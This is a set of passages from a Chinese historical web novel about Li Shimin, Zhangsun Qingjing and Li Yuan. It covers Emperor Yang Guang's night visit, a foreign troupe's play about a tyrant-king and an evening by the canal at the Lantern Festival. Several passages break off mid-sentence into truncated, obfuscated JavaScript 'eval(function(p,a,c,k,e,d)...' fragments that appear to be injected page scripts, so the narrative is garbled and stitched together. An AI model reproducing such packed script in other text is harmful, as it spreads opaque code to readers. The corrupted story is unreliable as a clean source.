河东那些不安分的百姓,不知感恩的群氓,在他眼前异化成人首兽身或兽首人身的怪物,刨食着一切可食不可食的物事。 紫微宫里每一块青砖,每一片琉璃,每一根廊柱都在被无形的指爪刮剥齮龁。 洛阳,坠地的天枢,正在被饥饿贪婪的魑魅魍魉啮噬吞咽。 “你们听……”杨广的手指也只是在虚空中乱舞,挥向并不存在的精魅。 长孙青璟回想起邙阪道上的噩梦,现实中的《地狱变》横轴,还有那头差点偷袭得手的豺狗…… 她突然意识到虞世基、裴蕴、裴矩也许从不曾蒙蔽杨广,能够欺罔天地,堵塞忠谏之路、对倒悬之危充耳不闻的从来不是什么佞幸,而是皇帝本人。 其实杨广什么都知道,知道天下的沸腾,知道民众的怨怼……只是一个意图比迹秦皇汉武的人哪里看得见宏图伟业里的草木砖石, 燕雀蝼蚁。徭役、赋税、死亡……只是奏对里一两行冰冷的数字罢了。他又何曾怜惜过? 倏忽间,李世民松开了攥紧的手,急趋至李渊身边,陪同父亲一起跪拜。 “臣虽驽怯,愿充鹰犬,效其尺寸,万死不辞!”李世民朗声道。 “好!好!”杨广挣脱皇后与两位驸马的殷勤侍奉,嘱托李氏父子扶起他,缓步移至屏风外侧,直视院中灯火,稀星朗月。 “所以,此处是洛阳不是腐臭的大兴?我所处的是唐国府而不是仁寿宫?” “是,陛下。”李渊回答。 “所以,有唐公为朕前驱,定能保圣躬,安社稷?”杨广步步紧逼。 “臣必万全以卫,不令有失。”李渊这一晚上彰晦之间效誓丹忱的次数大概比得上之前四十年间的总和。但是他任然不厌其烦地一遍遍剖白自己的葵藿倾阳之诚。 杨广的狐疑不决、刚愎自用、外宽内忌令李世民与长孙青璟叹为观止。 长孙青璟无论如何也不想承认自己英武一世的父亲输肝沥胆,誓死效忠的君主是这样一个表弘里狭、望之不似人君的小人。 李世民也无法想象父亲这么多年是如何一次次平安度过伴虎之虞的。 在深吸了数口冷气之后,杨广脑畔的嘈杂声逐渐散去,鼻腔中间混合着血腥的砂石味道也慢慢恢复成安息香与炭火杂糅的夜的氛氲。 他的神志逐渐清明,突然严肃地问李氏父子:“朝中传言盗贼处处啸聚,寇乱相寻,卿等以为如何?” 长孙青璟喉间如炙,恨不能撕一张纸写上“效叔孙通故事”揉作一团扔进李世民怀中。 “不要请缨!不要请缨!不要请缨!”她默念着,“以你的性格,不要回答!不要回答!不要回答!” “区区群盗,不过鼠窃狗偷之辈,不足为虑。”李世民代替迟疑不决的父亲答道。 长孙青璟忧惧冰涣,胸臆顿开——她那质直而好义的丈夫终于也学会了粉饰太平,令她的千钧重负立式消散无影。 “说得好。”杨广振衣攘袂道,“鼠窃狗偷,不足为惧。樊子盖那个酒囊饭袋,连几个流民都阻拦不了,由着他们从河东自蒲津渡越过重重关卡直至上东门乞讨。我早晚将这个渎职的河东慰抚大使除名鞫审。废物!” “愿陛下珍摄圣体,以副天下之望。不要再被这衣架饭囊气坏了身体。”一直沉默伏跪的虞世基终于得以握机立论,表达自己同样的忠贞。 杨广并不理睬他,只是一味徙倚阶前,对着地面咄咄念念,心思难测。 他突然神授电照般大叫:“且不去管河东解牛之末。朕眼下亟需一场胜利来震慑天下蠢蠢欲动的宵小。朕将要用事于突厥,然后南下扬州。武备耀于疆场,富饶陈于阛阓,令黎庶仰德,奸宄息谋。在此之前,朕要征发民夫复太行道、营东都、筑坞壁,缮毗陵宫。” 在座诸人都知晓耀武以慑不臣,炫富以固民心意味着什么。这意味着丁壮充役致使春耕荒废,农时被夺导致仓廪空虚。 这简直就是一场场环环相扣的闹剧!然而在场所有人又不得不装作体察君心,忧国忧民的模样一同加入这场闹剧。 “陛下威加海内,富示寰宇,实乃驭世之长策。臣敢请执鞭坠镫,效死扈从!”李渊感奋叩首道。 李世民感觉母亲今夜一定在冥冥之中护佑着父亲,使得一向真性不伪饰的父亲口吐莲花,语落瑶华,使得杨广对李家积年累加的疑阻,涣然融解消释。 杨广并不打算给任何人反驳自己既定计划的机会,只是示意皇后公主驸马们上前:“今夜不虚此行。唐公款接之诚,实慰朕心。——表兄,且在府中歇息几日,待籍田之后,与朕同赴河东。” 长孙青璟觉得皇帝的言辞犹楚人之鬻矛盾,自语相违。一方面他尚且记得籍田劝农桑,一方面不舍巡省宣威之事——不知他将如何两全? 而李家在今晚却获得了皇帝杨广亲自签章的登堂之契。 至少短时期内,唐国公将成为皇室最坚定的盟友,最为皇帝所信重的鹰犬。 至于这张契约什么时候被莫名撕毁,便不是当事人们所能精准预测的了。 当杨广自负地认定同在谶纬之上的这一门李氏对他陨首结草、丹诚不渝的那一刻,他便萌生了去意。 李渊、李世民与长孙青璟便在中门外叩送杨广与其余扈从扬长而去,消失在积善坊的街角。 李渊拍却膝上尘土,问起儿子近来有无来信。长孙青璟忙令蝈娘呈上一沓要求李渊或者窦氏亲启的书信。李渊看了一眼那些并不知晓窦氏已逝而投寄而来、期待她展阅的书笺,不禁悲从中来,挟着信笺,几乎没有听到年轻夫妇对他宜早偃息的劝告。中庭花木翕张,绸叶微倾,吞没了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李世民拢住她双手:“无妨,无妨。《文皇帝颂》是《鱼藻》之属,通篇都是微言大义,我都好奇母亲为何会收藏这篇颂文,与她性格大不相符;《惜惜盐》是因才遭妒的绝命之诗,这两篇都不吉利,烧了也好。” 他警觉地问道:“你是不是去见长孙安业了,还从他那里打探到不少圣上的好恶?” “是的。”长孙青璟抽噎着.“一切都过去了。” 李世民便不再顾及刘娘子与众婢女尚在屏风外侍候,将她揽在怀中:“一切都过去了。你想哭就哭个痛快。方才因皇帝假意问讯,公主心存刁难,你一定为了我不被人笑话,费了很大的气力才伪作兄弟姊妹埙篪之合。你和无忌与这混账分爨已久,却为了你父亲身后名假作连枝——这一切实在太过难为你。只可惜我是白身,将来若是得志,我一定设法为你出了这口胸中恶气,让他跪在你面前磕头讨饶!你听好了,以后不准去见长孙安业,没什么理由,我就是对他恨之入骨。总之……你就是不准见他。我就算烂死在大理寺和御史台的监狱里,也不要他帮忙。” 老天是如何把右骁卫将军善良颖慧的一半与邪恶诡诈另一半极端地分配给这对同父异母的兄妹的! 长孙青璟倏忽间挣脱李世民的怀抱,颐动眸凝,穆如清风:“安业伤不着我,我也不会为他哭。我只是可惜薛玄卿的锦绣文章。” 真是一个糟糕至极的上元夜,幸好他们还有彼此相伴。 “我以后也再也不会违背本心去讨好任何人了!哪怕面前坐的是皇帝本人。”李世民敛衽危坐,肃肃如松下风。 胡椒与龙脑混合的味道给人一种嫩醪性烈的神摇迷醉感。 哪怕那是有毒的,又有何妨? 68. 戏弄 年轻的夫妇暂且抛下母亲新丧、皇帝造访诸事,开始盘算如何在北邙那个属于自己的天地中计亩量丁,又如何劝说李渊同意减轻归附佃户的私租。 长孙青璟在理性上并不主张给予那些走投无路而逃亡隐匿在李家庄园中的人更多让步,但是李世民眼中微漾的睛光明确地告诉她这个执一少年对三代圣王、周孔之政心向往之。 而长孙青璟的宪矩止界恰恰是不轻易质疑一个志于道者的意志、品格与悲悯。 他们达成了一种关于理想的默契——他们要完成一桩可能被人嘲笑的、遭人猜忌的却符合天道的事情。 结果未知,却值得一试。 他们还为另一个人在这个疯癫的梦想里留了位置。 长孙青璟正盘算着如何说服长孙无忌为自己同时搜索各朝均田律法、校正过反切的韵书、文字比较浅显的御夫术——当然,这些奇怪请求里的每一个字都足够招来兄长一顿气急败坏的臭骂。想到这里,长孙青璟乐不可支地微笑起来。 李世民正准备问及长孙青璟到洛阳后是否与大兴亲友通过信。蝈娘却一路小跑来到这后园的小阁中将他二人叫去李渊跟前。 两人的雄心壮志暂且告一段落。 李渊坐在案前,似乎已经处理完属于自己的那些迟滞未回复的信笺。 家令与刘娘子侍立于侧,李世民猜测他与刘娘子已经将这几日他与长孙青璟种种乖张情状一一陈说与父亲听。待得父亲从皇帝的突访中回过神来,定然会收拾夜不归宿的儿子与不听家令劝说执意策马邙阪道的儿媳。 也许会他会挨板子?父亲应该不至于关长孙青璟禁闭吧?李世民疑虑重重。 当务之急,还是先将失踪之后导致长孙青璟手足无措的罪责全部揽到自己身上为妙。否则,临事畏缩需妻子一同担责,简直无丈夫气,将来在无忌面前如何交代? 看着刘娘子与家令凝重的脸,李世民上前一步准备狡辩一番,李渊却蹙眉作出一个命儿子噤声的手势。 对于窦氏那些半面之识的贵妇朋友捎来的尺素,李渊一时觉得棘手。 一来他无意窥探妻子隐私——哪怕那算不上什么隐私,也尽是关于服饰、歌舞、百戏的话题,二来以国公之尊回复又有失身份。便索性转交给儿媳处理。 长孙青璟依言收好所有属于亡母的信笺。 李世民觉得自己也许多心了,家令与刘娘子大概将失踪寻找的琐事隐匿不报。李渊对长孙青璟今夜的应对皇帝微行的表现十分满意,所以毫不避讳地将窦氏身后琐事也一并交给她处置。 “这盏蔷薇油与这面金花金十字银底宝相花摹绘牌是何人所赠?”李渊擎起案上两件看似贵重又毫无印象的物事问蝈娘道。 “回郎君,是通远市的条支百戏班子连同给先夫人的请柬一同送来的。”蝈娘答道,“来人姓秦,不对,这群条支人都姓秦。也没什么特别的。送来的时候,秦姓的散乐者只说夫人承诺过他们若有新排的景弄,定然要通知她,夫人将携公子同赏。” “大概是惦记着夫人的酒水钱和打赏钱咯。”李渊向儿子道,“等等,我隐约记得你母亲是挺喜欢洛阳某处的胡戏。胡人的戏弄有那么好看吗?” 家令好像突然回想起了极其重要的事情:“郎君,倒也不全是条支人念叨夫人钱财,夫人几月前确实也来信问及通远市有无景弄歌舞?——夫人向来尺素无赘,单问景弄,可见姓秦的说夫人一直记挂他们排戏所言非虚。条支人不喜欢我们称呼他们胡人,他们自认是汉朝人所说的海西大秦国苗裔。” “哦。”李渊父子二人异口同声敷衍道。 长孙青璟闻言便从一堆信纸之中找到来自通远市的请柬,念道:“伏惟唐国夫人窦氏,门盈琬琰,德润椒兰。敝班僻居通远市廛,久沐夏风,今得阿罗诃庇佑,新排《瑜罕难慈光引迷记》景弄一部。演大秦业火、波摩证圣、大慈蒙召诸般奥迹,皆以汉家百戏之法,佐以条支歌舞、波斯幻术、龟兹音乐。本月上元,金吾不禁。倘夫人携爱子莅临,则蓬门耀于星汉矣。云云。” “请柬上说的什么?这出戏叫什么记?演的哪国故事?”李渊一头雾水地问儿子。 “我也不清楚。阿耶我实话实说,我最怕看《踏摇娘》这一类歌舞了……”父子二人默契对视,李世民接着解释,“上次我陪阿娘去通远市看条支歌舞,单是看到一对夫妇出场,丈夫神色凝重,妻子哭哭啼啼,便觉得大事不妙——多半是这些条支俳优开始以条支歌舞之法演绎苏中郎和谈容娘的故事,当即便找借口遁去了卖鹰隼的店铺。至于那日胡人们到底唱了什么,演了什么,我实在不知。” “既然收了贵重的礼物,总不能退回去,坏你母亲名声;你母亲既答应了别人去捧场,什么都不告知且无缘由的缺席也着实伤人心……你去找一串不太时兴的璎珞,再带上布帛绸缎——” “父亲,我不能看戏。你找别人代母亲打赏璎珞。”李世民一口回绝了父亲的提议。 “我不是让你去享乐。我只是想,既然你母亲一直牵挂这歌舞戏,还承诺带你前去,必然有她的道理。她总要借一双眼睛去看看洛阳。你们换上便服,去通远市看看。不是上元享乐,而是父亲要求你为了母亲去看一眼洛阳的上元夜。” “好。”年轻的郎君天真地问道,“阿耶同我们一起去吗?” “我不去,我在家陪着你母亲。”李渊将一切布置停当边,便换上斩衰道,“我多日在宫中值宿,有愧于你母亲。她肯定在这里,在树叶后,在烛泪里,在书卷上,看着我们……今天我巧舌如簧,如有神助,一定是你母亲在我脑中低语的功劳。兴许我待会儿惺忪朦胧时,她回来找我呢。” 两个孩子闻言几乎滴下泪来。 “去吧!”李渊柔声说,“为她放一盏河灯。记得再度回到大兴时,去你阿娘墓前说说洛阳新风致,还有这出新景弄的妙处。” 李世民满口干脆应承。长孙青璟觉得李家这种脱略形骸、任诞放达的做派与一般谨守绳墨的家庭略有不同,却也合情合理与可亲。 这大概也是神武公父女当年在一众年轻公子中选中了李渊,而唐国公夫妇在诸子女中最喜爱李世民的原因。 “青璟,你有心里话要讲?”李渊见长孙青璟迟回未决,疑心她心中顾虑重重,便顺势问个究竟。 “阿耶,我从家令处闻听因母亲丧事,父亲被圣上紧急传唤,家中奴婢与佣工不曾休息。又因迎接圣驾,上元当天也我不曾准假。今日接驾无虞,他们也有功劳。依我看,今夜尚不算晚,当允许佣工回家与家人团聚,家生奴给假两个时辰。若两者中有无意放假执意留守者,则令赐米粟布帛,或由其自选一日免除劳役……” 李渊似听非听,长孙青璟局促地站在他面前等待裁决。 虽说她本也未怀着多大希望,却仍觉得当为众仆役做主,或争取灯假,或补偿佣金。哪怕之前因懒怠被罚佣钱或清淤的几人,今日也是将功补过,扫洒布置相当卖力。若能恩威并施,借此减轻一下惩罚,也是应有之义。 “不知父亲能否应允?”长孙青璟也不知道自己这番话在家中算不算逾矩,顾盼迟疑之时却迎上了李世民褒嘉的目光。 李渊不置可否,只是转头,望着家令与刘娘子,问道,“你二人可都听清楚长孙娘子所请之事?” 二人点头。 “那就照办。” 一切顺利得匪夷所思。 “去吧。”李渊道,“没有父母希望自己过世后,子女不停地自我折磨来表达孝道。你们的母亲生前磊落洒脱,便不喜欢这些矫揉造作的礼数。若在天有灵更是如此。” 他从书案后起身,缓缓踱步至儿子身前,伸手掸去李世民肩头的几根细碎枯枝。 “你都和我一般高了。”李渊感慨着,望着儿子转盼流辉的眼睛,那与妻子的双眸别无二致。 “照顾好自己,照看好青璟,不要着凉,早去早回。”李渊的声音低沉了下去,挥袂使退,不再多言。 上元节的夜晚,皇帝下令解除东都宵禁,允许士庶通宵狂欢游乐。 市肆处处张灯结彩,百丈灯轮映照如昼。 长孙青璟与李世民穿过一丛丛琉璃灯,一个个即兴表演的胡旋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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长孙青璟道:“条支,按中国的说法,是大秦国的九州中的一州。汉朝人称大秦有类中国,有圣君贤王,朝代更迭。物产丰富,人民滋盛。与诸夏并无二致。秦六娘,我说得可对?” “我阿耶也是这样说的。”少女开心地说道,“不过,我是在中原长大的。娘子,你待人真和气。我第一次听汉人说起我的故国。说得比我阿耶说的还好。” “日月所照,皆是汉土;景星光耀之处,就是你们大秦国。娘子,你就像景星一般耀目有志节。”说罢,长孙青璟又嫌恶地瞟了一眼方才出言轻佻、此时又东张西望企图引起年少娘子注意的恶少。 条支少女语笑嫣然,直白地说道:“娘子,你若是男子,我便是双目化为蜡泪,浑身如麦子被碾碎,也定要嫁给你。” 阿彩与两位部曲拼命憋笑。 李世民并没有听清秦六娘有趣好笑的方比,只是比较着日月与景星的优劣。 “景星,那不是转瞬即逝的东西吗?亮则亮矣,哪怕将夜空映如白日,那又如何?哪里比得上日月长久。” 秦六娘愉悦的眉眼突然收紧了。但是想到这位贵公子出手阔绰,言辞仅仅只是刻薄并非轻佻。看在两匹绢布与他可爱的情人的份上,秦六娘决定不与这察察皎皎的公子逞口舌。 筚篥声响,俳优登台。 秦六娘斟完最后一杯玫瑰露,打开自鸣鸟机枢,向长孙青璟一行人致意道:“新岁顺遂,福履长随。” 说唱人开始讲述瑜罕难法王年少时罾鱼苦况。他不服长辈管教,性情暴烈如雷,三次从移鼠世尊那里逃走才真心皈依。 “听着像他们的子路!”李世民凑近长孙青璟道,“你说会不会就是照着子路的故事瞎编的?” “我今天知道你为什么和表姊妹们永远说不投机了。”长孙青璟呷一口蔷薇露,望着秦六娘当垆的忙碌背影,惶然大悟道。 “你说什么?”李世民面对近在咫尺的长孙青璟,声嘶力竭地问道。 他们的谈话,被一片箜篌与筚篥的奏响声,席间中原人、高昌人、突厥人、波斯人、条支人、粟特人的喝彩所淹没… 69. 镜子 说唱人一段长长的劝人为善的说教之后,景弄终于进入了中国人耳熟能详的合生情节里。 什么妃主争锋,诸王夺嫡、州牧造反轮番演绎,令人目不暇接。 拂菻炀王泥嚧本非储君,只因王后阿毗那日夜在惠襄王面前谮太子之过,拂菻惠襄王便废长立幼,以炀王为太子…… “哦。这些情节怎么这么眼熟。”李世民拿起一串胡炙,“你看,像不像你那出《拨头》的续篇?” “妄语谬说。”长孙青璟掀开幂篱,紧张不已。 条支人又不是傻子。李世民自然是胡说八道。 说唱人与面具戏者配合着讲演下文。 拂菻惠襄王驾崩后,炀王行桀纣之事,国人恶之。太后终于忍无可忍,扬言逐炀王,欲复废太子。 炀王先发制人,弑母杀妻,隐诛恩师,昵近妖后,疏远贤妃,狎邪佞,疏忠良,一味好大喜功,游逸无度。 众人屏息凝神,也不知条支人是无心还是有意演绎这出景弄。 “你说,他们是请了个洛阳的读书汉写脚本吗?”后排一个高鼻深目的青年以纯正的洛阳雅言与李世民攀谈。 “谁知道呢?这位炀王身上,可是混杂着无数我们熟识的暴虐之君呢!”李世民接口道,“看得我心壅智顿。” 戏舞到了瑜罕难被这暴君放逐波摩岛的情节,果不其然,芸芸众生满心希望圣贤证道,自己享受证道硕果,又不屑了解他们证道的经过。 忧伤的高昌调琵琶独奏催得人昏昏欲睡——果然大家更爱看拂菻宫廷秘闻,不爱看成圣之路。 “这波斯枣很甜,是如何蜜煎的?”李世民好奇地问道。 “不是蜜煎法,波斯枣本来就这么甜。”后排貌似是粟特人的年轻人炫耀着自己的见识。 “不过也未可知。”长孙青璟沉浸在是否有中原儒生润色这个拂菻故事的思索中,并没有意识到身边人无聊至极,开始谈论异域果枣。 长孙青璟总觉得自己在看一个铜镜中的国朝:“既然尧舜禹汤有类中国,那必然桀纣厉幽也有类中国。圣君贤王总能用不同的方式拔乱反正,使国家重归大道;庸主昏君,亡国的方式便是千篇一律,乏善可陈。” “夫人高见。”粟特人拊掌赞道。 长孙青璟回头致意,粟特人又赞道:“夫人真天人。” 面对李世民戏谑的目光,粟特年轻人坦然自我介绍:“在下姓曹,名瑜罕,谯郡人。” 他说罢,指了指舞台上在暗夜的孤岛上奋笔疾书的长者。大家对他姓名的来历便了然于心。 长孙青璟被蔷薇露呛得咳嗽连连。李世民却一本正经地拱手道:“失敬失敬。幸会幸会。” 波摩岛的情状就这样被说唱者——中国人习惯称之为参军的俳优一笔带过。 大概这位擅长戏谑的优伶实在也无法将苦难说得更加愉悦一些,环顾看台上昏昏欲睡的众人,将心一横,索性又转场回到拂菻京师。 头戴拂菻王金冠面具的俳优站在舞台最高处,吟唱着激烈昂扬的诗篇:“炽炎吞城映夜彤,金宫重起旧垣空。丝竹不辍底勃醉,独扪星辰咏大风。” “也是个爱属文的圣上。”长孙青璟自言自语道。她陡然觉得这个“也”字十分不妥,赶紧捂嘴,环顾四周,发现无人在意她的言辞,才放心继续看戏。 “这又是唱的什么《大风歌》?气势倒是很足。豪情壮志足以媲美圣上那一串征辽诗。”李世民问道。 粟特人默契一笑道:“不是风,是火。不过我听条支沙弥说,这出景弄讲的约莫是王莽乱政同时代的事情,通事偷懒,将炀王泥嚧的诗作翻译成永明体,照理翻译成楚辞汉赋才对味。譬如这样——” 他清清嗓子道:“砥左焮兮焰龙翔,天枢烬兮生新阳。抚弦歌兮睨八荒,驾玉辂兮披火裳!——可不比那永明体好上十倍。” “曹君天授英华,神驰藻思,无愧谯郡出身。李某叹服。” “发痫!”长孙青璟低头轻轻咒骂了一声。 长孙青璟因嫌弃他二人多嘴,便以帔帛轻抽李世民的肩膀。 粟特人抱拳道:“夫人勿忧,我们只是就诗论诗,绝无含沙射影之意。来来来,我做东,再添点波斯枣与羊肉波斯囊,看歌舞看歌舞……” 紧张的筚篥与琵琶声暗示出一场人间惨剧。 波斯人将翻滚的红绸与殷红的血髓珊瑚高擎在舞台四周转着圈,然后同时施展吐火幻术。 一时烈焰腾空,熛矢射幕。 整个舞台模拟出拂菻京师赤舌舐天,朱鳞啮阁的景象。 “那天就是这样的火光燃烧在九州池上空……”李世民皱着眉头,一改刚才插科打诨、冷嘲热讽的语气,后背也一下子僵直起来。 “胡说八道,拂菻哪来的九州池,那叫砥勃河——你少跟曹君一唱一和误了看戏的正事,认真点!”长孙青璟拍了李世民膝盖一下。 她意外地发现丈夫的身体像一尊凝固的雕像,舞台上虚拟的业火勾起了他某些糟糕的、未曾与她提及的过往。 也许她错怪了他? 舞台上,无辜的百姓哀嚎奔逃,流离失所。 他们的王却站在山巅诗兴大发,罔顾百姓死活。 “菩萨呀。” “阿罗诃。” 台下不同长相、不同信仰的人满怀对无辜者的同情,呼唤着心中的神明。 波斯人暂时退下,说唱着演说着六天后,大火熄灭,拂菻王召集六部官员议事。臣子们明知是炀王不过为了神思跃虹而命人纵火残害百姓,却一个个噤若寒蝉。 彤管已就,世人汹汹。 接下来便是大理寺和刑部希旨将纵火之罪推托到景教徒身上,缇骑全程戒严搜捕,然后将这些景教徒投入角抵场、百戏台供贵人娱乐。 全神贯注的阿彩突然发出尖利的号呼,将头埋进长孙青璟怀中。 “都是波斯障眼法,假的,都是假的。没有人被伤到。”长孙青璟拍打着阿彩的后背安慰道。她注视着台上耸人听闻的剧情。 戴着面具的俳优假扮各种野兽,与手无寸铁的无辜百姓角抵。明晃晃的灯轮映照着一地残肢、血污、滚落在皮囊外的心肝肠肺…… “没事,没事,快结束了,快结束了。”长孙青璟抱紧了阿彩,“我向你保证,波斯俳优一点外伤都没有,不信,谢幕的时候你仔细看,那些死去的俳优又活蹦乱跳地来讨要赏钱了。” 长孙青璟的眼中蓄着泪水,脑海中全是邙阪道上流民的身影,一树树的招魂幡,临死前衣不蔽体的母子,相枕于道的尸首,水井中走投无路的巨人观,饱食人肉的嗜血豺狗……这些可怜的百姓,未尝不是被他们的皇帝丢入了另一个求生不能的角抵场。 “我本来以为把冤屈的良籍子女送进教坊司打为贱籍已经很过分了,谁料这位国君更是过甚,直接变着法子弄死这么又遭火患又被冤屈的百姓。这个‘炀’的谥号可谓形神兼备了。”李世民嘲讽道。 “再加个‘厉’字可好。”曹君自言自语道,“不过‘厉’字还是太过便宜泥嚧了,还是‘炀’字妥当。” “喂,两位郎君能否小声些,我家娘子要看后妃邀宠、御苑惊鸿的歌舞,你二人说话声比筚篥还响,她什么都听不清了……”前排有人不耐烦地回头斥责道。 “抱歉抱歉……”曹君作揖致歉。 一阵沉默之后,活动的灯轮掠过舞台,花枝燃起了金色的圣光。瑜罕难从波摩岛赶回解救百姓,揭破了泥嚧纵火的真相,最终殉道而死。 “这真的是另一个子路了。”曹君叹道。 “唉——”席间一片唏嘘。 阿彩也从长孙青璟的怀中坐起,满怀歉意地拢了一下头发,又坐定继续观戏。 李世民直视舞台,侧手向长孙青璟递来一方叠好的丝帕。 “我不要用你的。”长孙青璟推开他的手。 “放心,我只是想起些往事,又没哭,这丝帕我没用过。”李世民关注着禁军密谋弑君的新剧情,头也不回地说道,“你那块绢帕被涕泪沾湿不能用了吧。眼睛是不是又红又肿?” “无稽之谈。”长孙青璟取过丝帕攥在掌中,言辞中带着浓重的鼻音,“啊——这是天下皆反,禁军准备拥立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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阿彩却委委屈屈地与长孙青璟道:“娘子啊,我没想到大秦国也有谈容娘一样的傻娘子——贤妃自少女时代就追随这昏君,待他情深义重,也不曾残害忠良,却落得秋扇见捐的结局。她不会为了这种无情无义的无道之君殉节吧?太不值得了。贤妃定要远离是非之地,好好活着。” “承你吉言,那本是个温婉贤惠的女子,可惜所托非人。你看歌舞里那些凶残的禁军士兵,不也放过贤妃了吗?她应当不会有事。” 奇怪,蔷薇露明明不是酒,长孙青璟的脑海中却凭空生出几行字:“慕周姒之遗风,美虞妃之圣则。仰先哲之高才,贵至人之休德。” 她害怕极了,不敢再往下深思。 羯鼓声响,绘有莲座与十字的吴绫被高举起来,复活的瑜罕难在那吴绫后出现,重新踏上前往拂菻的路。 “甚好!” “妙哉!” “大善!” 众人欢呼着炀王罪有应得的横死,世尊死而复生的奥迹。 坚持大道的灵魂昂然屹立,自绝于仁的独夫身受显戮。 “好!”李世民真诚地赞美道。他为这世间为数不多的履方执正的君子、蹈道而行志士拊掌。 “毘提诃,我不太舒服!”长孙青璟看到远处座位上几个无心看戏,无意喝彩,满脸紧张,一味环视的皂衣青年,牵引起李世民的衣袖,示意要离开,“有候人混在宾客中,我们快走。” 她取下项间璎珞并手上累丝嵌琉璃指鋜及一封回信交给阿彩,令她寻找秦六娘,便催促着同行众人赶紧离开这鼎沸之局。 秦六娘收好长孙青璟打赏之物与写给六娘父亲的书信,便攥着一个同时织有十字纹、莲花纹、云气纹的银丝圣物囊,跑去这个令她颇有好感的娘子的落座处。 遗憾的是,她只见到几副搁置整齐的杯盘,点头啁啾的自鸣鸟,以及桌面上不知是蔷薇露还是眼泪勾勒的一头独角兽,独角兽的额上似乎中了一箭。 她只懂鱼符、鸽子、火焰这些符号纹样,在自己长大的地方从来没见过独角兽的符纹。 “不过也无妨,改日找个来喝酒听曲的儒生问问中箭的独角兽是什么意思。”这个开朗泼辣的条支少女将本来打算送给长孙青璟的圣物囊仔细收好,系牢掉落的面纱,托起一个葡萄纹银盘,哼着土龟兹,挨个儿向满座的勋贵公子们要起了赏钱…… 70. 观灯(1) “你确定看到候人了?”李世民与长孙青璟携手奔逃至通济渠边,将部曲和阿彩远远甩在身后。 “你要相信我啊。”长孙青璟跑到青石码头上,夜风掀起了幂篱的纱帷,“那几个人,既不看戏,也不喝酒,无事可做只是窥探他人的情状,可不就像候人吗?我阿耶在我五六岁时就教我和无忌怎么把这些谍人从普通人中辨认出来。” “你说得也是,我过于执着等待拂菻炀王泥嚧暴毙了……”李世民挠头道。 “曹瑜罕呢?”长孙青璟回头道,“我们跑得太快都没留意他。你既然与他投缘,本该邀他一同观灯的。” “我也正奇怪,他跑得比我们还快……”幂篱的轻纱在夜风里撩拨着李世民的脸庞,让他神思恍惚,“也许他也在陪某个娘子观灯,放河灯,等灯轮射焰……” “也许他比你聪明些,发现自己喝彩太大声了,觉得不妥,又怕被盘问,就趁乱先走了……”长孙青璟掩口笑道,“谁叫他那高鼻深目的长相容易招惹候人呢?” 长孙青璟索性摘下了幂篱。夜风刺痛了她依旧红肿的眼睛,她的心情却十分愉悦。 她终于从对杨广造访试探的警觉,对景弄看似快意实则沉痛的结局中解脱出来。 通济渠边的上元夜,才是属于她的上元夜。一身的疲惫与伪装也已经被扔在在了波斯经寺附近——那些愁绪与担忧再也追不上他了。 “你喜欢这出景弄吗?”她踮着脚,顽皮地沿着码头边缘蹦蹦跳跳,企图看清朱栏画舫上遍缀的纱灯。 “尚可,比《踏谣娘》强,比《拨头》曲折有趣,似乎不如《大面》。还是《大面》痛快!”李世民伸手挽住长孙青璟的臂膀,“小心。” “我倒是觉得比《大面》快意——我那长恭堂舅怎么被冤杀的,天下何人不知。每每想到此处,《大面》便无趣起来。《瑜罕难慈光引迷记》倒是让圣人与暴君都各得其所,简直是难得的大快人心的歌舞……” “你说得也对……”李世民笑着拉住与河面咫尺之遥的长孙青璟,“要不我们把它写下来讲给母亲听。她去孝陵祭拜周武帝时还记挂着和秦都知的约定——条支人言而有信,我母亲却看不到了……” “等我们回长安,第一件要紧事就是去祭拜母亲。可好?”长孙青璟深知丈夫并非不爱这场景弄,只是戏弄所说毕竟是一派虚言,或者是世间公理——然而眼下的艰难、猜忌乃至无望却是李世民切身履之。 一想起母亲,这个方才还在雅座上指点江山的少年便有些郁郁寡欢起来。 从喧哗的波斯经寺来到运河边,经冷风一吹,所有热情与感奋便消解了大半。 两人一声不响地走在河边,隐隐听到阿彩与两个年轻部曲商量为去世亲人放河灯的打算。 “哇——是西苑的小灯船。”渠边突然喧闹起来,孩童们争相捞取从紫微宫开闸后,从御沟、斗门方向漂来的河灯,说不定上面有哪位闲坐的、失宠妃嫔的笔墨和熏香味道。 放走河灯的女子,也许终身都未见过皇帝一面。 而河灯是维系她们与人间牵绊的唯一信使。 “沾沾宫中娘子的喜气呀!”年长的孩子叫道。 孩童们踊跃前行,你争我抢,差点将长孙青璟挤进水中。 李世民单手托起长孙青璟的腰,把她放至离渠水稍远之处,被孩童们的嬉笑声感染,他问道:“要我替你去河里抢一盏吗?” “不用。”长孙青璟笑指着远处商铺和流动的摊贩,“我不抢孩童的爱物。一会儿自己去挑一盏。” “快看,灯轮要射焰了!”一个抱着琉璃灯的男孩带着大大小小数十个孩童从河边朝集市方向飞奔。 “等等我。”一个梳着双鬟的四五岁女童抱着湿漉漉的鎏金匣跑在这一群孩子后面,因为怕赶不上灯轮放焰,不顾脚下不平的石条拼命追赶,便一个趔趄摔倒,鎏金匣飞出数尺,手上也磕出血来。女孩呜呜大哭,委屈万分。 “他们不要我了,我挤不进去了。”女童望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 